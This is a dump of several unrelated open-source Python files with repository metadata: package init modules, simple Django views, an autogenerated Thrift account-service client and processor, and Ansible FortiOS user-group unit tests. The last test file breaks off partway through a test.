nm.stats.pop('last_modification') # ignore modification date that could change self.assertEqual(EXPECTED_RESULTS[networkdir_name]["summary"], nm.summary()) self.assertEqual(EXPECTED_RESULTS[networkdir_name]["map"], nm.map()) self.assertEqual(EXPECTED_RESULTS[networkdir_name]["statistics"], nm.stats) if __name__ == "__main__": unittest.main()
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7
3f7dc93fb771f8e65042ec22ad45c24e51860db4
143
py
Python
ptest/cases/base/__init__.py
Pathfinder-for-Pitch-Momentum-Bias/FlightSoftware
7256f52f7c5887af7fc8679b163629d1235fa1bb
[ "MIT" ]
6
2020-02-24T07:46:22.000Z
2021-09-26T22:57:05.000Z
ptest/cases/base/__init__.py
pathfinder-for-autonomous-navigation/FlightSoftware
a3c30b10e2a28d17a2de0180c996bcc5f9ada7c7
[ "MIT" ]
537
2019-05-29T04:31:30.000Z
2022-03-06T17:18:56.000Z
ptest/cases/base/__init__.py
Pathfinder-for-Pitch-Momentum-Bias/FlightSoftware
7256f52f7c5887af7fc8679b163629d1235fa1bb
[ "MIT" ]
5
2020-04-01T17:29:37.000Z
2022-02-25T22:26:14.000Z
from .single_sat_case import SingleSatCase from .dual_sat_case import DualSatCase from .psim_case import PSimCase from .amc_case import AMCCase
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7
3f8a269951d9a04419e102944db4d86c157b6107
81
py
Python
pftree/__init__.py
FNNDSC/pftree
112b2e819b71baf603f4ce10dbb98df903276ab0
[ "MIT" ]
null
null
null
pftree/__init__.py
FNNDSC/pftree
112b2e819b71baf603f4ce10dbb98df903276ab0
[ "MIT" ]
2
2018-07-24T14:39:01.000Z
2018-07-24T14:39:25.000Z
pftree/__init__.py
FNNDSC/pftree
112b2e819b71baf603f4ce10dbb98df903276ab0
[ "MIT" ]
1
2018-07-27T14:35:54.000Z
2018-07-27T14:35:54.000Z
try: from .pftree import pftree except: from pftree import pftree
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7
b75601f066dc8a61385a47363c96e2adaf9724ee
166
py
Python
djexperience/core/views.py
rg3915/django-experience-2016
76adaa55c537f3b9fa48b601d4a97fd6e04371c0
[ "MIT" ]
1
2022-01-01T22:19:49.000Z
2022-01-01T22:19:49.000Z
djexperience/core/views.py
rg3915/django-experience-2016
76adaa55c537f3b9fa48b601d4a97fd6e04371c0
[ "MIT" ]
null
null
null
djexperience/core/views.py
rg3915/django-experience-2016
76adaa55c537f3b9fa48b601d4a97fd6e04371c0
[ "MIT" ]
null
null
null
from django.shortcuts import render def home(request): return render(request, 'index.html') def about(request): return render(request, 'core/about.html')
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8
b7680d707c06e3991732c194560589aff3d73478
21,595
py
Python
src/examples/python/gen_py/datahub/account/AccountService.py
RogerTangos/datahub-stub
8c3e89c792e45ccc9ad067fcf085ddd52f7ecd89
[ "MIT" ]
192
2015-07-29T15:20:35.000Z
2021-09-06T21:42:01.000Z
src/examples/python/gen_py/datahub/account/AccountService.py
RogerTangos/datahub-stub
8c3e89c792e45ccc9ad067fcf085ddd52f7ecd89
[ "MIT" ]
120
2015-10-27T21:43:11.000Z
2021-08-12T15:15:43.000Z
src/examples/python/gen_py/datahub/account/AccountService.py
RogerTangos/datahub-stub
8c3e89c792e45ccc9ad067fcf085ddd52f7ecd89
[ "MIT" ]
56
2015-09-19T05:58:41.000Z
2021-09-14T09:46:11.000Z
# # Autogenerated by Thrift Compiler (0.9.2) # # DO NOT EDIT UNLESS YOU ARE SURE THAT YOU KNOW WHAT YOU ARE DOING # # options string: py # from thrift.Thrift import TType, TMessageType, TException, TApplicationException from ttypes import * from thrift.Thrift import TProcessor from thrift.transport import TTransport from thrift.protocol import TBinaryProtocol, TProtocol try: from thrift.protocol import fastbinary except: fastbinary = None class Iface: def get_version(self): pass def create_account(self, username, email, password, repo_name, app_id, app_token): """ Parameters: - username - email - password - repo_name - app_id - app_token """ pass def remove_account(self, username, app_id, app_token): """ Parameters: - username - app_id - app_token """ pass class Client(Iface): def __init__(self, iprot, oprot=None): self._iprot = self._oprot = iprot if oprot is not None: self._oprot = oprot self._seqid = 0 def get_version(self): self.send_get_version() return self.recv_get_version() def send_get_version(self): self._oprot.writeMessageBegin('get_version', TMessageType.CALL, self._seqid) args = get_version_args() args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_get_version(self): iprot = self._iprot (fname, mtype, rseqid) = iprot.readMessageBegin() if mtype == TMessageType.EXCEPTION: x = TApplicationException() x.read(iprot) iprot.readMessageEnd() raise x result = get_version_result() result.read(iprot) iprot.readMessageEnd() if result.success is not None: return result.success raise TApplicationException(TApplicationException.MISSING_RESULT, "get_version failed: unknown result"); def create_account(self, username, email, password, repo_name, app_id, app_token): """ Parameters: - username - email - password - repo_name - app_id - app_token """ self.send_create_account(username, email, password, repo_name, app_id, app_token) return self.recv_create_account() def send_create_account(self, username, email, password, repo_name, app_id, app_token): self._oprot.writeMessageBegin('create_account', TMessageType.CALL, self._seqid) args = create_account_args() args.username = username args.email = email args.password = password args.repo_name = repo_name args.app_id = app_id args.app_token = app_token args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_create_account(self): iprot = self._iprot (fname, mtype, rseqid) = iprot.readMessageBegin() if mtype == TMessageType.EXCEPTION: x = TApplicationException() x.read(iprot) iprot.readMessageEnd() raise x result = create_account_result() result.read(iprot) iprot.readMessageEnd() if result.success is not None: return result.success if result.ex is not None: raise result.ex raise TApplicationException(TApplicationException.MISSING_RESULT, "create_account failed: unknown result"); def remove_account(self, username, app_id, app_token): """ Parameters: - username - app_id - app_token """ self.send_remove_account(username, app_id, app_token) return self.recv_remove_account() def send_remove_account(self, username, app_id, app_token): self._oprot.writeMessageBegin('remove_account', TMessageType.CALL, self._seqid) args = remove_account_args() args.username = username args.app_id = app_id args.app_token = app_token args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_remove_account(self): iprot = self._iprot (fname, mtype, rseqid) = iprot.readMessageBegin() if mtype == TMessageType.EXCEPTION: x = TApplicationException() x.read(iprot) iprot.readMessageEnd() raise x result = remove_account_result() result.read(iprot) iprot.readMessageEnd() if result.success is not None: return result.success if result.ex is not None: raise result.ex raise TApplicationException(TApplicationException.MISSING_RESULT, "remove_account failed: unknown result"); class Processor(Iface, TProcessor): def __init__(self, handler): self._handler = handler self._processMap = {} self._processMap["get_version"] = Processor.process_get_version self._processMap["create_account"] = Processor.process_create_account self._processMap["remove_account"] = Processor.process_remove_account def process(self, iprot, oprot): (name, type, seqid) = iprot.readMessageBegin() if name not in self._processMap: iprot.skip(TType.STRUCT) iprot.readMessageEnd() x = TApplicationException(TApplicationException.UNKNOWN_METHOD, 'Unknown function %s' % (name)) oprot.writeMessageBegin(name, TMessageType.EXCEPTION, seqid) x.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() return else: self._processMap[name](self, seqid, iprot, oprot) return True def process_get_version(self, seqid, iprot, oprot): args = get_version_args() args.read(iprot) iprot.readMessageEnd() result = get_version_result() result.success = self._handler.get_version() oprot.writeMessageBegin("get_version", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_create_account(self, seqid, iprot, oprot): args = create_account_args() args.read(iprot) iprot.readMessageEnd() result = create_account_result() try: result.success = self._handler.create_account(args.username, args.email, args.password, args.repo_name, args.app_id, args.app_token) except AccountException, ex: result.ex = ex oprot.writeMessageBegin("create_account", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_remove_account(self, seqid, iprot, oprot): args = remove_account_args() args.read(iprot) iprot.readMessageEnd() result = remove_account_result() try: result.success = self._handler.remove_account(args.username, args.app_id, args.app_token) except AccountException, ex: result.ex = ex oprot.writeMessageBegin("remove_account", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() # HELPER FUNCTIONS AND STRUCTURES class get_version_args: thrift_spec = ( ) def read(self, iprot): if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None: fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec)) return iprot.readStructBegin() while True: (fname, ftype, fid) = iprot.readFieldBegin() if ftype == TType.STOP: break else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def write(self, oprot): if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('get_version_args') oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __hash__(self): value = 17 return value def __repr__(self): L = ['%s=%r' % (key, value) for key, value in self.__dict__.iteritems()] return '%s(%s)' % (self.__class__.__name__, ', '.join(L)) def __eq__(self, other): return isinstance(other, self.__class__) and self.__dict__ == other.__dict__ def __ne__(self, other): return not (self == other) class get_version_result: """ Attributes: - success """ thrift_spec = ( (0, TType.DOUBLE, 'success', None, None, ), # 0 ) def __init__(self, success=None,): self.success = success def read(self, iprot): if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None: fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec)) return iprot.readStructBegin() while True: (fname, ftype, fid) = iprot.readFieldBegin() if ftype == TType.STOP: break if fid == 0: if ftype == TType.DOUBLE: self.success = iprot.readDouble(); else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def write(self, oprot): if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('get_version_result') if self.success is not None: oprot.writeFieldBegin('success', TType.DOUBLE, 0) oprot.writeDouble(self.success) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __hash__(self): value = 17 value = (value * 31) ^ hash(self.success) return value def __repr__(self): L = ['%s=%r' % (key, value) for key, value in self.__dict__.iteritems()] return '%s(%s)' % (self.__class__.__name__, ', '.join(L)) def __eq__(self, other): return isinstance(other, self.__class__) and self.__dict__ == other.__dict__ def __ne__(self, other): return not (self == other) class create_account_args: """ Attributes: - username - email - password - repo_name - app_id - app_token """ thrift_spec = ( None, # 0 (1, TType.STRING, 'username', None, None, ), # 1 (2, TType.STRING, 'email', None, None, ), # 2 (3, TType.STRING, 'password', None, None, ), # 3 (4, TType.STRING, 'repo_name', None, None, ), # 4 (5, TType.STRING, 'app_id', None, None, ), # 5 (6, TType.STRING, 'app_token', None, None, ), # 6 ) def __init__(self, username=None, email=None, password=None, repo_name=None, app_id=None, app_token=None,): self.username = username self.email = email self.password = password self.repo_name = repo_name self.app_id = app_id self.app_token = app_token def read(self, iprot): if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None: fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec)) return iprot.readStructBegin() while True: (fname, ftype, fid) = iprot.readFieldBegin() if ftype == TType.STOP: break if fid == 1: if ftype == TType.STRING: self.username = iprot.readString(); else: iprot.skip(ftype) elif fid == 2: if ftype == TType.STRING: self.email = iprot.readString(); else: iprot.skip(ftype) elif fid == 3: if ftype == TType.STRING: self.password = iprot.readString(); else: iprot.skip(ftype) elif fid == 4: if ftype == TType.STRING: self.repo_name = iprot.readString(); else: iprot.skip(ftype) elif fid == 5: if ftype == TType.STRING: self.app_id = iprot.readString(); else: iprot.skip(ftype) elif fid == 6: if ftype == TType.STRING: self.app_token = iprot.readString(); else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def write(self, oprot): if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('create_account_args') if self.username is not None: oprot.writeFieldBegin('username', TType.STRING, 1) oprot.writeString(self.username) oprot.writeFieldEnd() if self.email is not None: oprot.writeFieldBegin('email', TType.STRING, 2) oprot.writeString(self.email) oprot.writeFieldEnd() if self.password is not None: oprot.writeFieldBegin('password', TType.STRING, 3) oprot.writeString(self.password) oprot.writeFieldEnd() if self.repo_name is not None: oprot.writeFieldBegin('repo_name', TType.STRING, 4) oprot.writeString(self.repo_name) oprot.writeFieldEnd() if self.app_id is not None: oprot.writeFieldBegin('app_id', TType.STRING, 5) oprot.writeString(self.app_id) oprot.writeFieldEnd() if self.app_token is not None: oprot.writeFieldBegin('app_token', TType.STRING, 6) oprot.writeString(self.app_token) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __hash__(self): value = 17 value = (value * 31) ^ hash(self.username) value = (value * 31) ^ hash(self.email) value = (value * 31) ^ hash(self.password) value = (value * 31) ^ hash(self.repo_name) value = (value * 31) ^ hash(self.app_id) value = (value * 31) ^ hash(self.app_token) return value def __repr__(self): L = ['%s=%r' % (key, value) for key, value in self.__dict__.iteritems()] return '%s(%s)' % (self.__class__.__name__, ', '.join(L)) def __eq__(self, other): return isinstance(other, self.__class__) and self.__dict__ == other.__dict__ def __ne__(self, other): return not (self == other) class create_account_result: """ Attributes: - success - ex """ thrift_spec = ( (0, TType.BOOL, 'success', None, None, ), # 0 (1, TType.STRUCT, 'ex', (AccountException, AccountException.thrift_spec), None, ), # 1 ) def __init__(self, success=None, ex=None,): self.success = success self.ex = ex def read(self, iprot): if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None: fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec)) return iprot.readStructBegin() while True: (fname, ftype, fid) = iprot.readFieldBegin() if ftype == TType.STOP: break if fid == 0: if ftype == TType.BOOL: self.success = iprot.readBool(); else: iprot.skip(ftype) elif fid == 1: if ftype == TType.STRUCT: self.ex = AccountException() self.ex.read(iprot) else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def write(self, oprot): if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('create_account_result') if self.success is not None: oprot.writeFieldBegin('success', TType.BOOL, 0) oprot.writeBool(self.success) oprot.writeFieldEnd() if self.ex is not None: oprot.writeFieldBegin('ex', TType.STRUCT, 1) self.ex.write(oprot) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __hash__(self): value = 17 value = (value * 31) ^ hash(self.success) value = (value * 31) ^ hash(self.ex) return value def __repr__(self): L = ['%s=%r' % (key, value) for key, value in self.__dict__.iteritems()] return '%s(%s)' % (self.__class__.__name__, ', '.join(L)) def __eq__(self, other): return isinstance(other, self.__class__) and self.__dict__ == other.__dict__ def __ne__(self, other): return not (self == other) class remove_account_args: """ Attributes: - username - app_id - app_token """ thrift_spec = ( None, # 0 (1, TType.STRING, 'username', None, None, ), # 1 (2, TType.STRING, 'app_id', None, None, ), # 2 (3, TType.STRING, 'app_token', None, None, ), # 3 ) def __init__(self, username=None, app_id=None, app_token=None,): self.username = username self.app_id = app_id self.app_token = app_token def read(self, iprot): if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None: fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec)) return iprot.readStructBegin() while True: (fname, ftype, fid) = iprot.readFieldBegin() if ftype == TType.STOP: break if fid == 1: if ftype == TType.STRING: self.username = iprot.readString(); else: iprot.skip(ftype) elif fid == 2: if ftype == TType.STRING: self.app_id = iprot.readString(); else: iprot.skip(ftype) elif fid == 3: if ftype == TType.STRING: self.app_token = iprot.readString(); else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def write(self, oprot): if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('remove_account_args') if self.username is not None: oprot.writeFieldBegin('username', TType.STRING, 1) oprot.writeString(self.username) oprot.writeFieldEnd() if self.app_id is not None: oprot.writeFieldBegin('app_id', TType.STRING, 2) oprot.writeString(self.app_id) oprot.writeFieldEnd() if self.app_token is not None: oprot.writeFieldBegin('app_token', TType.STRING, 3) oprot.writeString(self.app_token) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __hash__(self): value = 17 value = (value * 31) ^ hash(self.username) value = (value * 31) ^ hash(self.app_id) value = (value * 31) ^ hash(self.app_token) return value def __repr__(self): L = ['%s=%r' % (key, value) for key, value in self.__dict__.iteritems()] return '%s(%s)' % (self.__class__.__name__, ', '.join(L)) def __eq__(self, other): return isinstance(other, self.__class__) and self.__dict__ == other.__dict__ def __ne__(self, other): return not (self == other) class remove_account_result: """ Attributes: - success - ex """ thrift_spec = ( (0, TType.BOOL, 'success', None, None, ), # 0 (1, TType.STRUCT, 'ex', (AccountException, AccountException.thrift_spec), None, ), # 1 ) def __init__(self, success=None, ex=None,): self.success = success self.ex = ex def read(self, iprot): if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None: fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec)) return iprot.readStructBegin() while True: (fname, ftype, fid) = iprot.readFieldBegin() if ftype == TType.STOP: break if fid == 0: if ftype == TType.BOOL: self.success = iprot.readBool(); else: iprot.skip(ftype) elif fid == 1: if ftype == TType.STRUCT: self.ex = AccountException() self.ex.read(iprot) else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def write(self, oprot): if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('remove_account_result') if self.success is not None: oprot.writeFieldBegin('success', TType.BOOL, 0) oprot.writeBool(self.success) oprot.writeFieldEnd() if self.ex is not None: oprot.writeFieldBegin('ex', TType.STRUCT, 1) self.ex.write(oprot) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __hash__(self): value = 17 value = (value * 31) ^ hash(self.success) value = (value * 31) ^ hash(self.ex) return value def __repr__(self): L = ['%s=%r' % (key, value) for key, value in self.__dict__.iteritems()] return '%s(%s)' % (self.__class__.__name__, ', '.join(L)) def __eq__(self, other): return isinstance(other, self.__class__) and self.__dict__ == other.__dict__ def __ne__(self, other): return not (self == other)
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9
b7aa50bdb08ec3ed140b773c48defbe495d106df
14,741
py
Python
v6.0.5/user/test_fortios_user_group.py
fortinet-solutions-cse/ansible_fgt_modules
c45fba49258d7c9705e7a8fd9c2a09ea4c8a4719
[ "Apache-2.0" ]
14
2018-09-25T20:35:25.000Z
2021-07-14T04:30:54.000Z
v6.0.5/user/test_fortios_user_group.py
fortinet-solutions-cse/ansible_fgt_modules
c45fba49258d7c9705e7a8fd9c2a09ea4c8a4719
[ "Apache-2.0" ]
32
2018-10-09T04:13:42.000Z
2020-05-11T07:20:28.000Z
v6.0.5/user/test_fortios_user_group.py
fortinet-solutions-cse/ansible_fgt_modules
c45fba49258d7c9705e7a8fd9c2a09ea4c8a4719
[ "Apache-2.0" ]
11
2018-10-09T00:14:53.000Z
2021-11-03T10:54:09.000Z
# Copyright 2019 Fortinet, Inc. # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Ansible. If not, see <https://www.gnu.org/licenses/>. # Make coding more python3-ish from __future__ import (absolute_import, division, print_function) __metaclass__ = type import os import json import pytest from mock import ANY from ansible.module_utils.network.fortios.fortios import FortiOSHandler try: from ansible.modules.network.fortios import fortios_user_group except ImportError: pytest.skip("Could not load required modules for testing", allow_module_level=True) @pytest.fixture(autouse=True) def connection_mock(mocker): connection_class_mock = mocker.patch('ansible.modules.network.fortios.fortios_user_group.Connection') return connection_class_mock fos_instance = FortiOSHandler(connection_mock) def test_user_group_creation(mocker): schema_method_mock = mocker.patch('ansible.module_utils.network.fortios.fortios.FortiOSHandler.schema') set_method_result = {'status': 'success', 'http_method': 'POST', 'http_status': 200} set_method_mock = mocker.patch('ansible.module_utils.network.fortios.fortios.FortiOSHandler.set', return_value=set_method_result) input_data = { 'username': 'admin', 'state': 'present', 'user_group': { 'auth_concurrent_override': 'enable', 'auth_concurrent_value': '4', 'authtimeout': '5', 'company': 'optional', 'email': 'disable', 'expire': '8', 'expire_type': 'immediately', 'group_type': 'firewall', 'http_digest_realm': 'test_value_11', 'id': '12', 'max_accounts': '13', 'mobile_phone': 'disable', 'multiple_guest_add': 'disable', 'name': 'default_name_16', 'password': 'auto-generate', 'sms_custom_server': 'test_value_18', 'sms_server': 'fortiguard', 'sponsor': 'optional', 'sso_attribute_value': 'test_value_21', 'user_id': 'email', 'user_name': 'disable' }, 'vdom': 'root'} is_error, changed, response = fortios_user_group.fortios_user(input_data, fos_instance) expected_data = { 'auth-concurrent-override': 'enable', 'auth-concurrent-value': '4', 'authtimeout': '5', 'company': 'optional', 'email': 'disable', 'expire': '8', 'expire-type': 'immediately', 'group-type': 'firewall', 'http-digest-realm': 'test_value_11', 'id': '12', 'max-accounts': '13', 'mobile-phone': 'disable', 'multiple-guest-add': 'disable', 'name': 'default_name_16', 'password': 'auto-generate', 'sms-custom-server': 'test_value_18', 'sms-server': 'fortiguard', 'sponsor': 'optional', 'sso-attribute-value': 'test_value_21', 'user-id': 'email', 'user-name': 'disable' } set_method_mock.assert_called_with('user', 'group', data=expected_data, vdom='root') schema_method_mock.assert_not_called() assert not is_error assert changed assert response['status'] == 'success' assert response['http_status'] == 200 def test_user_group_creation_fails(mocker): schema_method_mock = mocker.patch('ansible.module_utils.network.fortios.fortios.FortiOSHandler.schema') set_method_result = {'status': 'error', 'http_method': 'POST', 'http_status': 500} set_method_mock = mocker.patch('ansible.module_utils.network.fortios.fortios.FortiOSHandler.set', return_value=set_method_result) input_data = { 'username': 'admin', 'state': 'present', 'user_group': { 'auth_concurrent_override': 'enable', 'auth_concurrent_value': '4', 'authtimeout': '5', 'company': 'optional', 'email': 'disable', 'expire': '8', 'expire_type': 'immediately', 'group_type': 'firewall', 'http_digest_realm': 'test_value_11', 'id': '12', 'max_accounts': '13', 'mobile_phone': 'disable', 'multiple_guest_add': 'disable', 'name': 'default_name_16', 'password': 'auto-generate', 'sms_custom_server': 'test_value_18', 'sms_server': 'fortiguard', 'sponsor': 'optional', 'sso_attribute_value': 'test_value_21', 'user_id': 'email', 'user_name': 'disable' }, 'vdom': 'root'} is_error, changed, response = fortios_user_group.fortios_user(input_data, fos_instance) expected_data = { 'auth-concurrent-override': 'enable', 'auth-concurrent-value': '4', 'authtimeout': '5', 'company': 'optional', 'email': 'disable', 'expire': '8', 'expire-type': 'immediately', 'group-type': 'firewall', 'http-digest-realm': 'test_value_11', 'id': '12', 'max-accounts': '13', 'mobile-phone': 'disable', 'multiple-guest-add': 'disable', 'name': 'default_name_16', 'password': 'auto-generate', 'sms-custom-server': 'test_value_18', 'sms-server': 'fortiguard', 'sponsor': 'optional', 'sso-attribute-value': 'test_value_21', 'user-id': 'email', 'user-name': 'disable' } set_method_mock.assert_called_with('user', 'group', data=expected_data, vdom='root') schema_method_mock.assert_not_called() assert is_error assert not changed assert response['status'] == 'error' assert response['http_status'] == 500 def test_user_group_removal(mocker): schema_method_mock = mocker.patch('ansible.module_utils.network.fortios.fortios.FortiOSHandler.schema') delete_method_result = {'status': 'success', 'http_method': 'POST', 'http_status': 200} delete_method_mock = mocker.patch('ansible.module_utils.network.fortios.fortios.FortiOSHandler.delete', return_value=delete_method_result) input_data = { 'username': 'admin', 'state': 'absent', 'user_group': { 'auth_concurrent_override': 'enable', 'auth_concurrent_value': '4', 'authtimeout': '5', 'company': 'optional', 'email': 'disable', 'expire': '8', 'expire_type': 'immediately', 'group_type': 'firewall', 'http_digest_realm': 'test_value_11', 'id': '12', 'max_accounts': '13', 'mobile_phone': 'disable', 'multiple_guest_add': 'disable', 'name': 'default_name_16', 'password': 'auto-generate', 'sms_custom_server': 'test_value_18', 'sms_server': 'fortiguard', 'sponsor': 'optional', 'sso_attribute_value': 'test_value_21', 'user_id': 'email', 'user_name': 'disable' }, 'vdom': 'root'} is_error, changed, response = fortios_user_group.fortios_user(input_data, fos_instance) delete_method_mock.assert_called_with('user', 'group', mkey=ANY, vdom='root') schema_method_mock.assert_not_called() assert not is_error assert changed assert response['status'] == 'success' assert response['http_status'] == 200 def test_user_group_deletion_fails(mocker): schema_method_mock = mocker.patch('ansible.module_utils.network.fortios.fortios.FortiOSHandler.schema') delete_method_result = {'status': 'error', 'http_method': 'POST', 'http_status': 500} delete_method_mock = mocker.patch('ansible.module_utils.network.fortios.fortios.FortiOSHandler.delete', return_value=delete_method_result) input_data = { 'username': 'admin', 'state': 'absent', 'user_group': { 'auth_concurrent_override': 'enable', 'auth_concurrent_value': '4', 'authtimeout': '5', 'company': 'optional', 'email': 'disable', 'expire': '8', 'expire_type': 'immediately', 'group_type': 'firewall', 'http_digest_realm': 'test_value_11', 'id': '12', 'max_accounts': '13', 'mobile_phone': 'disable', 'multiple_guest_add': 'disable', 'name': 'default_name_16', 'password': 'auto-generate', 'sms_custom_server': 'test_value_18', 'sms_server': 'fortiguard', 'sponsor': 'optional', 'sso_attribute_value': 'test_value_21', 'user_id': 'email', 'user_name': 'disable' }, 'vdom': 'root'} is_error, changed, response = fortios_user_group.fortios_user(input_data, fos_instance) delete_method_mock.assert_called_with('user', 'group', mkey=ANY, vdom='root') schema_method_mock.assert_not_called() assert is_error assert not changed assert response['status'] == 'error' assert response['http_status'] == 500 def test_user_group_idempotent(mocker): schema_method_mock = mocker.patch('ansible.module_utils.network.fortios.fortios.FortiOSHandler.schema') set_method_result = {'status': 'error', 'http_method': 'DELETE', 'http_status': 404} set_method_mock = mocker.patch('ansible.module_utils.network.fortios.fortios.FortiOSHandler.set', return_value=set_method_result) input_data = { 'username': 'admin', 'state': 'present', 'user_group': { 'auth_concurrent_override': 'enable', 'auth_concurrent_value': '4', 'authtimeout': '5', 'company': 'optional', 'email': 'disable', 'expire': '8', 'expire_type': 'immediately', 'group_type': 'firewall', 'http_digest_realm': 'test_value_11', 'id': '12', 'max_accounts': '13', 'mobile_phone': 'disable', 'multiple_guest_add': 'disable', 'name': 'default_name_16', 'password': 'auto-generate', 'sms_custom_server': 'test_value_18', 'sms_server': 'fortiguard', 'sponsor': 'optional', 'sso_attribute_value': 'test_value_21', 'user_id': 'email', 'user_name': 'disable' }, 'vdom': 'root'} is_error, changed, response = fortios_user_group.fortios_user(input_data, fos_instance) expected_data = { 'auth-concurrent-override': 'enable', 'auth-concurrent-value': '4', 'authtimeout': '5', 'company': 'optional', 'email': 'disable', 'expire': '8', 'expire-type': 'immediately', 'group-type': 'firewall', 'http-digest-realm': 'test_value_11', 'id': '12', 'max-accounts': '13', 'mobile-phone': 'disable', 'multiple-guest-add': 'disable', 'name': 'default_name_16', 'password': 'auto-generate', 'sms-custom-server': 'test_value_18', 'sms-server': 'fortiguard', 'sponsor': 'optional', 'sso-attribute-value': 'test_value_21', 'user-id': 'email', 'user-name': 'disable' } set_method_mock.assert_called_with('user', 'group', data=expected_data, vdom='root') schema_method_mock.assert_not_called() assert not is_error assert not changed assert response['status'] == 'error' assert response['http_status'] == 404 def test_user_group_filter_foreign_attributes(mocker): schema_method_mock = mocker.patch('ansible.module_utils.network.fortios.fortios.FortiOSHandler.schema') set_method_result = {'status': 'success', 'http_method': 'POST', 'http_status': 200} set_method_mock = mocker.patch('ansible.module_utils.network.fortios.fortios.FortiOSHandler.set', return_value=set_method_result) input_data = { 'username': 'admin', 'state': 'present', 'user_group': { 'random_attribute_not_valid': 'tag', 'auth_concurrent_override': 'enable', 'auth_concurrent_value': '4', 'authtimeout': '5', 'company': 'optional', 'email': 'disable', 'expire': '8', 'expire_type': 'immediately', 'group_type': 'firewall', 'http_digest_realm': 'test_value_11', 'id': '12', 'max_accounts': '13', 'mobile_phone': 'disable', 'multiple_guest_add': 'disable', 'name': 'default_name_16', 'password': 'auto-generate', 'sms_custom_server': 'test_value_18', 'sms_server': 'fortiguard', 'sponsor': 'optional', 'sso_attribute_value': 'test_value_21', 'user_id': 'email', 'user_name': 'disable' }, 'vdom': 'root'} is_error, changed, response = fortios_user_group.fortios_user(input_data, fos_instance) expected_data = { 'auth-concurrent-override': 'enable', 'auth-concurrent-value': '4', 'authtimeout': '5', 'company': 'optional', 'email': 'disable', 'expire': '8', 'expire-type': 'immediately', 'group-type': 'firewall', 'http-digest-realm': 'test_value_11', 'id': '12', 'max-accounts': '13', 'mobile-phone': 'disable', 'multiple-guest-add': 'disable', 'name': 'default_name_16', 'password': 'auto-generate', 'sms-custom-server': 'test_value_18', 'sms-server': 'fortiguard', 'sponsor': 'optional', 'sso-attribute-value': 'test_value_21', 'user-id': 'email', 'user-name': 